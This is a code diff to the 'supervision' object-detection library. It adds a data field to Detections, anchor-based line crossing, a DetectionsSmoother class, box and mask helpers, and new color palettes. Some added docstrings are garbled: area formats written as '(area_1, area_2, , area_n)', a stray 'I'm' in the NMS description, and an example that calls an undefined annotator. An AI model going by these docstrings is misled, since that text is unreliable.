+        When provided with an integer, slice, list of integers, or a numpy array, this
+        method returns a new Detections object that represents a subset of the original
+        detections. When provided with a string, it accesses the corresponding item in
+        the data dictionary.

        Args:
-            index (Union[int, slice, List[int], np.ndarray]):
-                The index or indices of the subset of the Detections
+            index (Union[int, slice, List[int], np.ndarray, str]): The index, indices,
+                or key to access a subset of the Detections or an item from the data.

        Returns:
-            (Detections): A subset of the Detections object.
+            Union[Detections, Any]: A subset of the Detections object or an item from
+                the data field.

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv

-            >>> detections = sv.Detections(...)
+            detections = sv.Detections()

-            >>> first_detection = detections[0]
+            first_detection = detections[0]
+            first_10_detections = detections[0:10]
+            some_detections = detections[[0, 2, 4]]
+            class_0_detections = detections[detections.class_id == 0]
+            high_confidence_detections = detections[detections.confidence > 0.5]

-            >>> first_10_detections = detections[0:10]
-
-            >>> some_detections = detections[[0, 2, 4]]
-
-            >>> class_0_detections = detections[detections.class_id == 0]
-
-            >>> high_confidence_detections = detections[detections.confidence > 0.5]
+            feature_vector = detections['feature_vector']
            ```
        """
+        if isinstance(index, str):
+            return self.data.get(index)
        if isinstance(index, int):
            index = [index]
        return Detections(
@@ -698,8 +888,44 @@ class Detections:
            confidence=self.confidence[index] if self.confidence is not None else None,
            class_id=self.class_id[index] if self.class_id is not None else None,
            tracker_id=self.tracker_id[index] if self.tracker_id is not None else None,
+            data=get_data_item(self.data, index),
        )

+    def __setitem__(self, key: str, value: Union[np.ndarray, List]):
+        """
+        Set a value in the data dictionary of the Detections object.
+
+        Args:
+            key (str): The key in the data dictionary to set.
+            value (Union[np.ndarray, List]): The value to set for the key.
+
+        Example:
+            ```python
+            import cv2
+            import supervision as sv
+            from ultralytics import YOLO
+
+            image = cv2.imread(<SOURCE_IMAGE_PATH>)
+            model = YOLO('yolov8s.pt')
+
+            result = model(image)[0]
+            detections = sv.Detections.from_ultralytics(result)
+
+            detections['names'] = [
+                 model.model.names[class_id]
+                 for class_id
+                 in detections.class_id
+             ]
+            ```
+        """
+        if not isinstance(value, (np.ndarray, list)):
+            raise TypeError("Value must be a np.ndarray or a list")
+
+        if isinstance(value, list):
+            value = np.array(value)
+
+        self.data[key] = value
+
    @property
    def area(self) -> np.ndarray:
        """
@@ -709,7 +935,7 @@ class Detections:

        Returns:
          np.ndarray: An array of floats containing the area of each detection
-            in the format of `(area_1, area_2, ..., area_n)`,
+            in the format of `(area_1, area_2, , area_n)`,
            where n is the number of detections.
        """
        if self.mask is not None:
@@ -724,7 +950,7 @@ class Detections:

        Returns:
            np.ndarray: An array of floats containing the area of each bounding
-                box in the format of `(area_1, area_2, ..., area_n)`,
+                box in the format of `(area_1, area_2, , area_n)`,
                where n is the number of detections.
        """
        return (self.xyxy[:, 3] - self.xyxy[:, 1]) * (self.xyxy[:, 2] - self.xyxy[:, 0])
@@ -737,7 +963,8 @@ class Detections:

        Args:
            threshold (float, optional): The intersection-over-union threshold
-                to use for non-maximum suppression. Defaults to 0.5.
+                to use for non-maximum suppression. I'm the lower the value the more
+                restrictive the NMS becomes. Defaults to 0.5.
            class_agnostic (bool, optional): Whether to perform class-agnostic
                non-maximum suppression. If True, the class_id of each detection
                will be ignored. Defaults to False.
@@ -1,11 +1,11 @@
-from typing import Dict, Optional, Tuple
+from typing import Dict, Iterable, Optional, Tuple

 import cv2
 import numpy as np

 from supervision.detection.core import Detections
 from supervision.draw.color import Color
-from supervision.geometry.core import Point, Rect, Vector
+from supervision.geometry.core import Point, Position, Rect, Vector


 class LineZone:
@@ -15,7 +15,7 @@ class LineZone:

    !!! warning

-        LineZone utilizes the `tracker_id`. Read
+        LineZone uses the `tracker_id`. Read
        [here](https://supervision.roboflow.com/trackers/) to learn how to plug
        tracking into your inference pipeline.

@@ -26,16 +26,71 @@ class LineZone:
            to outside.
    """

-    def __init__(self, start: Point, end: Point):
+    def __init__(
+        self,
+        start: Point,
+        end: Point,
+        triggering_anchors: Iterable[Position] = (
+            Position.TOP_LEFT,
+            Position.TOP_RIGHT,
+            Position.BOTTOM_LEFT,
+            Position.BOTTOM_RIGHT,
+        ),
+    ):
        """
        Args:
            start (Point): The starting point of the line.
            end (Point): The ending point of the line.
+            triggering_anchors (List[sv.Position]): A list of positions
+                specifying which anchors of the detections bounding box
+                to consider when deciding on whether the detection
+                has passed the line counter or not. By default, this
+                contains the four corners of the detection's bounding box
        """
        self.vector = Vector(start=start, end=end)
+        self.limits = self.calculate_region_of_interest_limits(vector=self.vector)
        self.tracker_state: Dict[str, bool] = {}
        self.in_count: int = 0
        self.out_count: int = 0
+        self.triggering_anchors = triggering_anchors
+
+    @staticmethod
+    def calculate_region_of_interest_limits(vector: Vector) -> Tuple[Vector, Vector]:
+        magnitude = vector.magnitude
+
+        if magnitude == 0:
+            raise ValueError("The magnitude of the vector cannot be zero.")
+
+        delta_x = vector.end.x - vector.start.x
+        delta_y = vector.end.y - vector.start.y
+
+        unit_vector_x = delta_x / magnitude
+        unit_vector_y = delta_y / magnitude
+
+        perpendicular_vector_x = -unit_vector_y
+        perpendicular_vector_y = unit_vector_x
+
+        start_region_limit = Vector(
+            start=vector.start,
+            end=Point(
+                x=vector.start.x + perpendicular_vector_x,
+                y=vector.start.y + perpendicular_vector_y,
+            ),
+        )
+        end_region_limit = Vector(
+            start=vector.end,
+            end=Point(
+                x=vector.end.x - perpendicular_vector_x,
+                y=vector.end.y - perpendicular_vector_y,
+            ),
+        )
+        return start_region_limit, end_region_limit
+
+    @staticmethod
+    def is_point_in_limits(point: Point, limits: Tuple[Vector, Vector]) -> bool:
+        cross_product_1 = limits[0].cross_product(point)
+        cross_product_2 = limits[1].cross_product(point)
+        return (cross_product_1 > 0) == (cross_product_2 > 0)

    def trigger(self, detections: Detections) -> Tuple[np.ndarray, np.ndarray]:
        """
@@ -54,18 +109,35 @@ class LineZone:
        crossed_in = np.full(len(detections), False)
        crossed_out = np.full(len(detections), False)

-        for i, (xyxy, _, confidence, class_id, tracker_id) in enumerate(detections):
+        if len(detections) == 0:
+            return crossed_in, crossed_out
+
+        all_anchors = np.array(
+            [
+                detections.get_anchors_coordinates(anchor)
+                for anchor in self.triggering_anchors
+            ]
+        )
+
+        for i, tracker_id in enumerate(detections.tracker_id):
            if tracker_id is None:
                continue

-            x1, y1, x2, y2 = xyxy
-            anchors = [
-                Point(x=x1, y=y1),
-                Point(x=x1, y=y2),
-                Point(x=x2, y=y1),
-                Point(x=x2, y=y2),
+            box_anchors = [Point(x=x, y=y) for x, y in all_anchors[:, i, :]]
+
+            in_limits = all(
+                [
+                    self.is_point_in_limits(point=anchor, limits=self.limits)
+                    for anchor in box_anchors
+                ]
+            )
+
+            if not in_limits:
+                continue
+
+            triggers = [
+                self.vector.cross_product(point=anchor) > 0 for anchor in box_anchors
            ]
-            triggers = [self.vector.is_in(point=anchor) for anchor in anchors]

            if len(set(triggers)) == 2:
                continue
@@ -94,9 +166,9 @@ class LineZoneAnnotator:
    def __init__(
        self,
        thickness: float = 2,
-        color: Color = Color.white(),
+        color: Color = Color.WHITE,
        text_thickness: float = 2,
-        text_color: Color = Color.black(),
+        text_color: Color = Color.BLACK,
        text_scale: float = 0.5,
        text_offset: float = 1.5,
        text_padding: int = 10,
@@ -3,7 +3,7 @@ from typing import Callable, Optional, Tuple

 import numpy as np

-from supervision.detection.core import Detections, validate_inference_callback
+from supervision.detection.core import Detections
 from supervision.detection.utils import move_boxes
 from supervision.utils.image import crop_image

@@ -60,7 +60,6 @@ class InferenceSlicer:
        self.iou_threshold = iou_threshold
        self.callback = callback
        self.thread_workers = thread_workers
-        validate_inference_callback(callback=callback)

    def __call__(self, image: np.ndarray) -> Detections:
        """
@@ -78,20 +77,20 @@ class InferenceSlicer:

        Example:
            ```python
-            >>> import cv2
-            >>> import supervision as sv
-            >>> from ultralytics import YOLO
+            import cv2
+            import supervision as sv
+            from ultralytics import YOLO

-            >>> image = cv2.imread(SOURCE_IMAGE_PATH)
-            >>> model = YOLO(...)
+            image = cv2.imread(SOURCE_IMAGE_PATH)
+            model = YOLO(...)

-            >>> def callback(image_slice: np.ndarray) -> sv.Detections:
-            ...     result = model(image_slice)[0]
-            ...     return sv.Detections.from_ultralytics(result)
+            def callback(image_slice: np.ndarray) -> sv.Detections:
+                result = model(image_slice)[0]
+                return sv.Detections.from_ultralytics(result)

-            >>> slicer = sv.InferenceSlicer(callback = callback)
+            slicer = sv.InferenceSlicer(callback = callback)

-            >>> detections = slicer(image)
+            detections = slicer(image)
            ```
        """
        detections_list = []
@@ -56,11 +56,11 @@ class PolygonZone:
        """

        clipped_xyxy = clip_boxes(
-            boxes_xyxy=detections.xyxy, frame_resolution_wh=self.frame_resolution_wh
+            xyxy=detections.xyxy, resolution_wh=self.frame_resolution_wh
        )
        clipped_detections = replace(detections, xyxy=clipped_xyxy)
        clipped_anchors = np.ceil(
-            clipped_detections.get_anchor_coordinates(anchor=self.triggering_position)
+            clipped_detections.get_anchors_coordinates(anchor=self.triggering_position)
        ).astype(int)
        is_in_zone = self.mask[clipped_anchors[:, 1], clipped_anchors[:, 0]]
        self.current_count = int(np.sum(is_in_zone))
@@ -90,7 +90,7 @@ class PolygonZoneAnnotator:
        zone: PolygonZone,
        color: Color,
        thickness: int = 2,
-        text_color: Color = Color.black(),
+        text_color: Color = Color.BLACK,
        text_scale: float = 0.5,
        text_thickness: int = 1,
        text_padding: int = 10,
@@ -0,0 +1,118 @@
+from collections import defaultdict, deque
+from copy import deepcopy
+from typing import Optional
+
+import numpy as np
+
+from supervision.detection.core import Detections
+
+
+class DetectionsSmoother:
+    """
+    A utility class for smoothing detections over multiple frames in video tracking.
+    It maintains a history of detections for each track and provides smoothed
+    predictions based on these histories.
+
+    <video controls>
+        <source
+            src="https://media.roboflow.com/supervision-detection-smoothing.mp4"
+            type="video/mp4">
+    </video>
+
+    !!! warning
+
+        - `DetectionsSmoother` requires the `tracker_id` for each detection. Refer to
+          [Roboflow Trackers](https://supervision.roboflow.com/trackers/) for
+          information on integrating tracking into your inference pipeline.
+        - This class is not compatible with segmentation models.
+
+    Example:
+        ```python
+        import supervision as sv
+
+        from ultralytics import YOLO
+
+        video_info = sv.VideoInfo.from_video_path(video_path=<SOURCE_FILE_PATH>)
+        frame_generator = sv.get_video_frames_generator(source_path=<SOURCE_FILE_PATH>)
+
+        model = YOLO(<MODEL_PATH>)
+        tracker = sv.ByteTrack(frame_rate=video_info.fps)
+        smoother = sv.DetectionsSmoother()
+
+        annotator = sv.BoundingBoxAnnotator()
+
+        with sv.VideoSink(<TARGET_FILE_PATH>, video_info=video_info) as sink:
+            for frame in frame_generator:
+                result = model(frame)[0]
+                detections = sv.Detections.from_ultralytics(result)
+                detections = tracker.update_with_detections(detections)
+                detections = smoother.update_with_detections(detections)
+
+                annotated_frame = bounding_box_annotator.annotate(frame.copy(), detections)
+                sink.write_frame(annotated_frame)
+        ```
+    """  # noqa: E501 // docs
+
+    def __init__(self, length: int = 5) -> None:
+        """
+        Args:
+            length (int): The maximum number of frames to consider for smoothing
+                detections. Defaults to 5.
+        """
+        self.tracks = defaultdict(lambda: deque(maxlen=length))
+
+    def update_with_detections(self, detections: Detections) -> Detections:
+        """
+        Updates the smoother with a new set of detections from a frame.
+
+        Args:
+            detections (Detections): The detections to add to the smoother.
+        """
+
+        if detections.tracker_id is None:
+            print(
+                "Smoothing skipped. DetectionsSmoother requires tracker_id. Refer to "
+                "https://supervision.roboflow.com/trackers for more information."
+            )
+            return detections
+
+        for detection_idx in range(len(detections)):
+            tracker_id = detections.tracker_id[detection_idx]
+            if tracker_id is None:
+                continue
+
+            self.tracks[tracker_id].append(detections[detection_idx])
+
+        for track_id in self.tracks.keys():
+            if track_id not in detections.tracker_id:
+                self.tracks[track_id].append(None)
+
+        for track_id in list(self.tracks.keys()):
+            if all([d is None for d in self.tracks[track_id]]):
+                del self.tracks[track_id]
+
+        return self.get_smoothed_detections()
+
+    def get_track(self, track_id: int) -> Optional[Detections]:
+        track = self.tracks.get(track_id, None)
+        if track is None:
+            return None
+
+        track = [d for d in track if d is not None]
+        if len(track) == 0:
+            return None
+
+        ret = deepcopy(track[0])
+        ret.xyxy = np.mean([d.xyxy for d in track], axis=0)
+        ret.confidence = np.mean([d.confidence for d in track], axis=0)
+
+        return ret
+
+    def get_smoothed_detections(self) -> Detections:
+        tracked_detections = []
+        for track_id in self.tracks:
+            track = self.get_track(track_id)
+            if track is not None:
+                tracked_detections.append(track)
+
+        return Detections.merge(tracked_detections)
@@ -1,8 +1,11 @@
-from typing import List, Optional, Tuple
+from itertools import chain
+from typing import Any, Dict, List, Optional, Tuple, Union

 import cv2
 import numpy as np

+from supervision.config import CLASS_NAME_DATA_FIELD
+
 MIN_POLYGON_POINT_COUNT = 3


@@ -110,17 +113,15 @@ def non_max_suppression(
    return keep[sort_index.argsort()]


-def clip_boxes(
-    boxes_xyxy: np.ndarray, frame_resolution_wh: Tuple[int, int]
-) -> np.ndarray:
+def clip_boxes(xyxy: np.ndarray, resolution_wh: Tuple[int, int]) -> np.ndarray:
    """
    Clips bounding boxes coordinates to fit within the frame resolution.

    Args:
-        boxes_xyxy (np.ndarray): A numpy array of shape `(N, 4)` where each
+        xyxy (np.ndarray): A numpy array of shape `(N, 4)` where each
            row corresponds to a bounding box in
        the format `(x_min, y_min, x_max, y_max)`.
-        frame_resolution_wh (Tuple[int, int]): A tuple of the form `(width, height)`
+        resolution_wh (Tuple[int, int]): A tuple of the form `(width, height)`
            representing the resolution of the frame.

    Returns:
@@ -128,8 +129,8 @@ def clip_boxes(
            corresponds to a bounding box with coordinates clipped to fit
            within the frame resolution.
    """
-    result = np.copy(boxes_xyxy)
-    width, height = frame_resolution_wh
+    result = np.copy(xyxy)
+    width, height = resolution_wh
    result[:, [0, 2]] = result[:, [0, 2]].clip(0, width)
    result[:, [1, 3]] = result[:, [1, 3]].clip(0, height)
    return result
@@ -301,7 +302,6 @@ def extract_ultralytics_masks(yolov8_results) -> Optional[np.ndarray]:
    orig_shape = yolov8_results.orig_shape
    inference_shape = tuple(yolov8_results.masks.data.shape[1:])

-    gain = 0
    pad = (0, 0)

    if inference_shape != orig_shape:
@@ -333,13 +333,28 @@ def extract_ultralytics_masks(yolov8_results) -> Optional[np.ndarray]:

 def process_roboflow_result(
    roboflow_result: dict,
-) -> Tuple[np.ndarray, np.ndarray, np.ndarray, Optional[np.ndarray], np.ndarray]:
+) -> Tuple[
+    np.ndarray,
+    np.ndarray,
+    np.ndarray,
+    Optional[np.ndarray],
+    Optional[np.ndarray],
+    Dict[str, List[np.ndarray]],
+]:
    if not roboflow_result["predictions"]:
-        return np.empty((0, 4)), np.empty(0), np.empty(0), None, None
+        return (
+            np.empty((0, 4)),
+            np.empty(0),
+            np.empty(0),
+            None,
+            None,
+            {CLASS_NAME_DATA_FIELD: np.empty(0)},
+        )

    xyxy = []
    confidence = []
    class_id = []
+    class_name = []
    masks = []
    tracker_ids = []

@@ -359,6 +374,7 @@ def process_roboflow_result(
        if "points" not in prediction:
            xyxy.append([x_min, y_min, x_max, y_max])
            class_id.append(prediction["class_id"])
+            class_name.append(prediction["class"])
            confidence.append(prediction["confidence"])
            if "tracker_id" in prediction:
                tracker_ids.append(prediction["tracker_id"])
@@ -369,6 +385,7 @@ def process_roboflow_result(
            mask = polygon_to_mask(polygon, resolution_wh=(image_width, image_height))
            xyxy.append([x_min, y_min, x_max, y_max])
            class_id.append(prediction["class_id"])
+            class_name.append(prediction["class"])
            confidence.append(prediction["confidence"])
            masks.append(mask)
            if "tracker_id" in prediction:
@@ -377,21 +394,303 @@ def process_roboflow_result(
    xyxy = np.array(xyxy) if len(xyxy) > 0 else np.empty((0, 4))
    confidence = np.array(confidence) if len(confidence) > 0 else np.empty(0)
    class_id = np.array(class_id).astype(int) if len(class_id) > 0 else np.empty(0)
+    class_name = np.array(class_name) if len(class_name) > 0 else np.empty(0)
    masks = np.array(masks, dtype=bool) if len(masks) > 0 else None
    tracker_id = np.array(tracker_ids).astype(int) if len(tracker_ids) > 0 else None
+    data = {CLASS_NAME_DATA_FIELD: class_name}

-    return xyxy, confidence, class_id, masks, tracker_id
+    return xyxy, confidence, class_id, masks, tracker_id, data


 def move_boxes(xyxy: np.ndarray, offset: np.ndarray) -> np.ndarray:
    """
-    Args:
+    Parameters:
        xyxy (np.ndarray): An array of shape `(n, 4)` containing the bounding boxes
            coordinates in format `[x1, y1, x2, y2]`
        offset (np.array): An array of shape `(2,)` containing offset values in format
            is `[dx, dy]`.

    Returns:
-        (np.ndarray) repositioned bounding boxes
+        np.ndarray: Repositioned bounding boxes.
+
+    Example:
+        ```python
+        import numpy as np
+        import supervision as sv
+
+        boxes = np.array([[10, 10, 20, 20], [30, 30, 40, 40]])
+        offset = np.array([5, 5])
+        moved_box = sv.move_boxes(boxes, offset)
+        print(moved_box)
+        # np.array([
+        #    [15, 15, 25, 25],
+        #     [35, 35, 45, 45]
+        # ])
+        ```
    """
    return xyxy + np.hstack([offset, offset])
+
+
+def scale_boxes(xyxy: np.ndarray, factor: float) -> np.ndarray:
+    """
+    Scale the dimensions of bounding boxes.
+
+    Parameters:
+        xyxy (np.ndarray): An array of shape `(n, 4)` containing the bounding boxes
+            coordinates in format `[x1, y1, x2, y2]`
+        factor (float): A float value representing the factor by which the box
+            dimensions are scaled. A factor greater than 1 enlarges the boxes, while a
+            factor less than 1 shrinks them.
+
+    Returns:
+        np.ndarray: Scaled bounding boxes.
+
+    Example:
+        ```python
+        import numpy as np
+        import supervision as sv
+
+        boxes = np.array([[10, 10, 20, 20], [30, 30, 40, 40]])
+        factor = 1.5
+        scaled_bb = sv.scale_boxes(boxes, factor)
+        print(scaled_bb)
+        # np.array([
+        #    [ 7.5,  7.5, 22.5, 22.5],
+        #    [27.5, 27.5, 42.5, 42.5]
+        # ])
+        ```
+    """
+    centers = (xyxy[:, :2] + xyxy[:, 2:]) / 2
+    new_sizes = (xyxy[:, 2:] - xyxy[:, :2]) * factor
+    return np.concatenate((centers - new_sizes / 2, centers + new_sizes / 2), axis=1)
+
+
+def calculate_masks_centroids(masks: np.ndarray) -> np.ndarray:
+    """
+    Calculate the centroids of binary masks in a tensor.
+
+    Parameters:
+        masks (np.ndarray): A 3D NumPy array of shape (num_masks, height, width).
+            Each 2D array in the tensor represents a binary mask.
+
+    Returns:
+        A 2D NumPy array of shape (num_masks, 2), where each row contains the x and y
+            coordinates (in that order) of the centroid of the corresponding mask.
+    """
+    num_masks, height, width = masks.shape
+    total_pixels = masks.sum(axis=(1, 2))
+
+    # offset for 1-based indexing
+    vertical_indices, horizontal_indices = np.indices((height, width)) + 0.5
+    # avoid division by zero for empty masks
+    total_pixels[total_pixels == 0] = 1
+
+    def sum_over_mask(indices: np.ndarray, axis: tuple) -> np.ndarray:
+        return np.tensordot(masks, indices, axes=axis)
+
+    aggregation_axis = ([1, 2], [0, 1])
+    centroid_x = sum_over_mask(horizontal_indices, aggregation_axis) / total_pixels
+    centroid_y = sum_over_mask(vertical_indices, aggregation_axis) / total_pixels
+
+    return np.column_stack((centroid_x, centroid_y)).astype(int)
+
+
+def validate_xyxy(xyxy: Any) -> None:
+    expected_shape = "(_, 4)"
+    actual_shape = str(getattr(xyxy, "shape", None))
+    is_valid = isinstance(xyxy, np.ndarray) and xyxy.ndim == 2 and xyxy.shape[1] == 4
+    if not is_valid:
+        raise ValueError(
+            f"xyxy must be a 2D np.ndarray with shape {expected_shape}, but got shape "
+            f"{actual_shape}"
+        )
+
+
+def validate_mask(mask: Any, n: int) -> None:
+    expected_shape = f"({n}, H, W)"
+    actual_shape = str(getattr(mask, "shape", None))
+    is_valid = mask is None or (
+        isinstance(mask, np.ndarray) and len(mask.shape) == 3 and mask.shape[0] == n
+    )
+    if not is_valid:
+        raise ValueError(
+            f"mask must be a 3D np.ndarray with shape {expected_shape}, but got shape "
+            f"{actual_shape}"
+        )
+
+
+def validate_class_id(class_id: Any, n: int) -> None:
+    expected_shape = f"({n},)"
+    actual_shape = str(getattr(class_id, "shape", None))
+    is_valid = class_id is None or (
+        isinstance(class_id, np.ndarray) and class_id.shape == (n,)
+    )
+    if not is_valid:
+        raise ValueError(
+            f"class_id must be a 1D np.ndarray with shape {expected_shape}, but got "
+            f"shape {actual_shape}"
+        )
+
+
+def validate_confidence(confidence: Any, n: int) -> None:
+    expected_shape = f"({n},)"
+    actual_shape = str(getattr(confidence, "shape", None))
+    is_valid = confidence is None or (
+        isinstance(confidence, np.ndarray) and confidence.shape == (n,)
+    )
+    if not is_valid:
+        raise ValueError(
+            f"confidence must be a 1D np.ndarray with shape {expected_shape}, but got "
+            f"shape {actual_shape}"
+        )
+
+
+def validate_tracker_id(tracker_id: Any, n: int) -> None:
+    expected_shape = f"({n},)"
+    actual_shape = str(getattr(tracker_id, "shape", None))
+    is_valid = tracker_id is None or (
+        isinstance(tracker_id, np.ndarray) and tracker_id.shape == (n,)
+    )
+    if not is_valid:
+        raise ValueError(
+            f"tracker_id must be a 1D np.ndarray with shape {expected_shape}, but got "
+            f"shape {actual_shape}"
+        )
+
+
+def validate_data(data: Dict[str, Any], n: int) -> None:
+    for key, value in data.items():
+        if isinstance(value, list):
+            if len(value) != n:
+                raise ValueError(f"Length of list for key '{key}' must be {n}")
+        elif isinstance(value, np.ndarray):
+            if value.ndim == 1 and value.shape[0] != n:
+                raise ValueError(f"Shape of np.ndarray for key '{key}' must be ({n},)")
+            elif value.ndim > 1 and value.shape[0] != n:
+                raise ValueError(
+                    f"First dimension of np.ndarray for key '{key}' must have size {n}"
+                )
+        else:
+            raise ValueError(f"Value for key '{key}' must be a list or np.ndarray")
+
+
+def validate_detections_fields(
+    xyxy: Any,
+    mask: Any,
+    class_id: Any,
+    confidence: Any,
+    tracker_id: Any,
+    data: Dict[str, Any],
+) -> None:
+    validate_xyxy(xyxy)
+    n = len(xyxy)
+    validate_mask(mask, n)
+    validate_class_id(class_id, n)
+    validate_confidence(confidence, n)
+    validate_tracker_id(tracker_id, n)
+    validate_data(data, n)
+
+
+def is_data_equal(data_a: Dict[str, np.ndarray], data_b: Dict[str, np.ndarray]) -> bool:
+    """
+    Compares the data payloads of two Detections instances.
+
+    Args:
+        data_a, data_b: The data payloads of the instances.
+
+    Returns:
+        True if the data payloads are equal, False otherwise.
+    """
+    return set(data_a.keys()) == set(data_b.keys()) and all(
+        np.array_equal(data_a[key], data_b[key]) for key in data_a
+    )
+
+
+def merge_data(
+    data_list: List[Dict[str, Union[np.ndarray, List]]],
+) -> Dict[str, Union[np.ndarray, List]]:
+    """
+    Merges the data payloads of a list of Detections instances.
+
+    Args:
+        data_list: The data payloads of the instances.
+
+    Returns:
+        A single data payload containing the merged data, preserving the original data
+            types (list or np.ndarray).
+
+    Raises:
+        ValueError: If data values within a single object have different lengths or if
+            dictionaries have different keys.
+    """
+    if not data_list:
+        return {}
+
+    all_keys_sets = [set(data.keys()) for data in data_list]
+    if not all(keys_set == all_keys_sets[0] for keys_set in all_keys_sets):
+        raise ValueError("All data dictionaries must have the same keys to merge.")
+
+    for data in data_list:
+        lengths = [len(value) for value in data.values()]
+        if len(set(lengths)) > 1:
+            raise ValueError(
+                "All data values within a single object must have equal length."
+            )
+
+    merged_data = {key: [] for key in all_keys_sets[0]}
+
+    for data in data_list:
+        for key in merged_data:
+            merged_data[key].append(data[key])
+
+    for key in merged_data:
+        if all(isinstance(item, list) for item in merged_data[key]):
+            merged_data[key] = list(chain.from_iterable(merged_data[key]))
+        elif all(isinstance(item, np.ndarray) for item in merged_data[key]):
+            ndim = merged_data[key][0].ndim
+            if ndim == 1:
+                merged_data[key] = np.hstack(merged_data[key])
+            elif ndim > 1:
+                merged_data[key] = np.vstack(merged_data[key])
+            else:
+                raise ValueError(f"Unexpected array dimension for key '{key}'.")
+        else:
+            raise ValueError(
+                f"Inconsistent data types for key '{key}'. Only np.ndarray and list "
+                f"types are allowed."
+            )
+
+    return merged_data
+
+
+def get_data_item(
+    data: Dict[str, Union[np.ndarray, List]],
+    index: Union[int, slice, List[int], np.ndarray],
+) -> Dict[str, Union[np.ndarray, List]]:
+    """
+    Retrieve a subset of the data dictionary based on the given index.
+
+    Args:
+        data: The data dictionary of the Detections object.
+        index: The index or indices specifying the subset to retrieve.
+
+    Returns:
+        A subset of the data dictionary corresponding to the specified index.
+    """
+    subset_data = {}
+    for key, value in data.items():
+        if isinstance(value, np.ndarray):
+            subset_data[key] = value[index]
+        elif isinstance(value, list):
+            if isinstance(index, slice):
+                subset_data[key] = value[index]
+            elif isinstance(index, (list, np.ndarray)):
+                subset_data[key] = [value[i] for i in index]
+            elif isinstance(index, int):
+                subset_data[key] = [value[index]]
+            else:
+                raise TypeError(f"Unsupported index type: {type(index)}")
+        else:
+            raise TypeError(f"Unsupported data type for key '{key}': {type(value)}")
+
+    return subset_data
@@ -3,26 +3,56 @@ from __future__ import annotations
 from dataclasses import dataclass
 from typing import List, Tuple

+import matplotlib.pyplot as plt
+
+from supervision.utils.internal import classproperty, deprecated
+
 DEFAULT_COLOR_PALETTE = [
-    "#a351fb",
-    "#e6194b",
-    "#3cb44b",
-    "#ffe119",
-    "#0082c8",
-    "#f58231",
-    "#911eb4",
-    "#46f0f0",
-    "#f032e6",
-    "#d2f53c",
-    "#fabebe",
-    "#008080",
-    "#e6beff",
-    "#aa6e28",
-    "#fffac8",
-    "#800000",
-    "#aaffc3",
+    "A351FB",
+    "FF4040",
+    "FFA1A0",
+    "FF7633",
+    "FFB633",
+    "D1D435",
+    "4CFB12",
+    "94CF1A",
+    "40DE8A",
+    "1B9640",
+    "00D6C1",
+    "2E9CAA",
+    "00C4FF",
+    "364797",
+    "6675FF",
+    "0019EF",
+    "863AFF",
+    "530087",
+    "CD3AFF",
+    "FF97CA",
+    "FF39C9",
 ]

+LEGACY_COLOR_PALETTE = [
+    "#A351FB",
+    "#E6194B",
+    "#3CB44B",
+    "#FFE119",
+    "#0082C8",
+    "#F58231",
+    "#911EB4",
+    "#46F0F0",
+    "#F032E6",
+    "#D2F53C",
+    "#FABEBE",
+    "#008080",
+    "#E6BEFF",
+    "#AA6E28",
+    "#FFFAC8",
+    "#800000",
+    "#AAFFC3",
+]
+
+ROBOFLOW_COLOR_PALETTE = ["C28DFC", "A351FB", "8315F9", "6706CE", "5905B3", "4D049A"]
+

 def _validate_color_hex(color_hex: str):
    color_hex = color_hex.lstrip("#")
@@ -37,10 +67,31 @@ class Color:
    """
    Represents a color in RGB format.

+    This class provides methods to work with colors, including creating colors from hex
+    codes, converting colors to hex strings, RGB tuples, and BGR tuples.
+
    Attributes:
-        r (int): Red channel.
-        g (int): Green channel.
-        b (int): Blue channel.
+        r (int): Red channel value (0-255).
+        g (int): Green channel value (0-255).
+        b (int): Blue channel value (0-255).
+
+    Example:
+        ```python
+        import supervision as sv
+
+        sv.Color.WHITE
+        # Color(r=255, g=255, b=255)
+        ```
+
+    | Constant   | Hex Code   | RGB              |
+    |------------|------------|------------------|
+    | `WHITE`    | `#FFFFFF`  | `(255, 255, 255)`|
+    | `BLACK`    | `#000000`  | `(0, 0, 0)`      |
+    | `RED`      | `#FF0000`  | `(255, 0, 0)`    |
+    | `GREEN`    | `#00FF00`  | `(0, 255, 0)`    |
+    | `BLUE`     | `#0000FF`  | `(0, 0, 255)`    |
+    | `YELLOW`   | `#FFFF00`  | `(255, 255, 0)`  |
+    | `ROBOFLOW` | `#A351FB`  | `(163, 81, 251)` |
    """

    r: int
@@ -59,9 +110,11 @@ class Color:
            Color: Instance representing the color.

        Example:
-            ```
-            >>> Color.from_hex('#ff00ff')
-            Color(r=255, g=0, b=255)
+            ```python
+            import supervision as sv
+
+            sv.Color.from_hex('#ff00ff')
+            # Color(r=255, g=0, b=255)
            ```
        """
        _validate_color_hex(color_hex)
@@ -71,6 +124,23 @@ class Color:
        r, g, b = (int(color_hex[i : i + 2], 16) for i in range(0, 6, 2))
        return cls(r, g, b)

+    def as_hex(self) -> str:
+        """
+        Converts the Color instance to a hex string.
+
+        Returns:
+            str: The hexadecimal color string.
+
+        Example:
+            ```python
+            import supervision as sv
+
+            sv.Color(r=255, g=255, b=0).as_hex()
+            # '#ffff00'
+            ```
+        """
+        return f"#{self.r:02x}{self.g:02x}{self.b:02x}"
+
    def as_rgb(self) -> Tuple[int, int, int]:
        """
        Returns the color as an RGB tuple.
@@ -79,9 +149,11 @@ class Color:
            Tuple[int, int, int]: RGB tuple.

        Example:
-            ```
-            >>> color.as_rgb()
-            (255, 0, 255)
+            ```python
+            import supervision as sv
+
+            sv.Color(r=255, g=255, b=0).as_rgb()
+            # (255, 255, 0)
            ```
        """
        return self.r, self.g, self.b
@@ -94,30 +166,80 @@ class Color:
            Tuple[int, int, int]: BGR tuple.

        Example:
-            ```
-            >>> color.as_bgr()
-            (255, 0, 255)
+            ```python
+            import supervision as sv
+
+            sv.Color(r=255, g=255, b=0).as_bgr()
+            # (0, 255, 255)
            ```
        """
        return self.b, self.g, self.r

+    @classproperty
+    def WHITE(cls):
+        return Color.from_hex("#FFFFFF")
+
+    @classproperty
+    def BLACK(cls):
+        return Color.from_hex("#000000")
+
+    @classproperty
+    def RED(cls):
+        return Color.from_hex("#FF0000")
+
+    @classproperty
+    def GREEN(cls):
+        return Color.from_hex("#00FF00")
+
+    @classproperty
+    def BLUE(cls):
+        return Color.from_hex("#0000FF")
+
+    @classproperty
+    def YELLOW(cls):
+        return Color.from_hex("#FFFF00")
+
+    @classproperty
+    def ROBOFLOW(cls):
+        return Color.from_hex("#A351FB")
+
    @classmethod
+    @deprecated(
+        "`Color.white()` is deprecated and will be removed in "
+        "`supervision-0.20.0`. Use `Color.WHITE` instead."
+    )
    def white(cls) -> Color:
